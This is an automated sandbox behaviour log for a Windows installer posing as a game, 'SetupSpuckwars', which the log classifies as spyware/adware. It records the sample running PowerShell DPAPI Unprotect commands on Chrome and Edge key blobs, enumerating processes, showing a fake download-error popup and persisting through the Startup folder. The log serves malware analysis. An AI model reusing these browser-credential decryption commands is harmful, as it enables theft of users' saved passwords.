Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: kbdus.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dxgi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: d3d11.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: d3d11.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dxcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mf.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mfplat.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: rtworkq.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: msmpeg2vdec.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: mfperfhelper.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dxva2.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: msvproc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: d3d12.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: d3d12.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: d3d12core.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: d3d10warp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: dxilconv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: d3dscache.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: SetupSpuckwars_1.15.5.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: classification engineClassification label: mal52.adwa.spyw.winEXE@38/112@8/5
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Roaming\spuckwarsJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6352:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5592:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3532:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6488:120:WilError_03
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BC.tmpJump to behavior
Source: SetupSpuckwars_1.15.5.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile read: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe "C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe"
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1628 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2052 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2388 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()""
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"
Source: unknownProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe"
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2492 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1628 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2052 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2388 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()""Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2492 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklistJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
